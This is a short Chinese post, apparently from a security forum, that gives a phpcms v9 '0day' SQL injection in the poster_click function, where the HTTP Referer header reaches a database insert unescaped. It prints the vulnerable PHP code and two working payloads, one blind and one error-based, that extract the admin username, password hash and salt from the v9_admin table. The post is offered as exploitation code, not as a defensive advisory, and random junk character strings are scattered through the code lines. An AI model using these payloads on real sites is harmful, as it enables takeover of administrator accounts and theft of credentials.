phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

" Z% e+ z( E6 h/ b  v; k问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
7 u6 j/ S8 H8 I; w9 i' H" ~  z$r = $this->db->get_one(array('id'=>$id));
( e1 s* B; m+ b8 y" y3 ~if (!is_array($r) && empty($r)) return false;
* P: a. W, J7 O' h& D: f' @$ip_area = pc_base::load_sys_class('ip_area');
8 S& y3 M) B0 w0 v$ip = ip();
8 L& h! j& Q. w( v$area = $ip_area->get($ip);
$ _3 ]/ g0 f6 A" D3 K$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
2 j# n7 d, z5 B4 H! \$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
+ w! {/ j8 B1 Z  x' L8 D! P; c$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
, }, d* {) }& ?) B$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
1 `% t4 c4 z$ Z6 J} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
4 s2 B; j4 U& z1 c+ n) u2 r}
+ r) ]- j$ P' Q) U. oheader('Location: '.$url);
+ ?$ r) d6 S" ~5 @, G+ T( H! ]}

7 u4 d. K; @* K+ X

+ M% s! q5 Z! X( @. @( R! h  z/ O' ~& H利用方式：
- N5 [) X& f4 X  k2 o
8 J- j) L1 R; {. `  {1、可以采用盲注入的手法：
: A& i3 e- J' z! g) Q7 l/ I
0 L* k( S. ~7 O0 {: w( Creferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

4 I; r$ g1 Z7 X5 H- d通过返回页面，正常与否一个个猜解密码字段。
# _2 s  h$ h, u' t& K/ ?) E
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
; \2 ]$ n3 {3 P6 B9 a
此方法是爆错注入手法，原理自查。
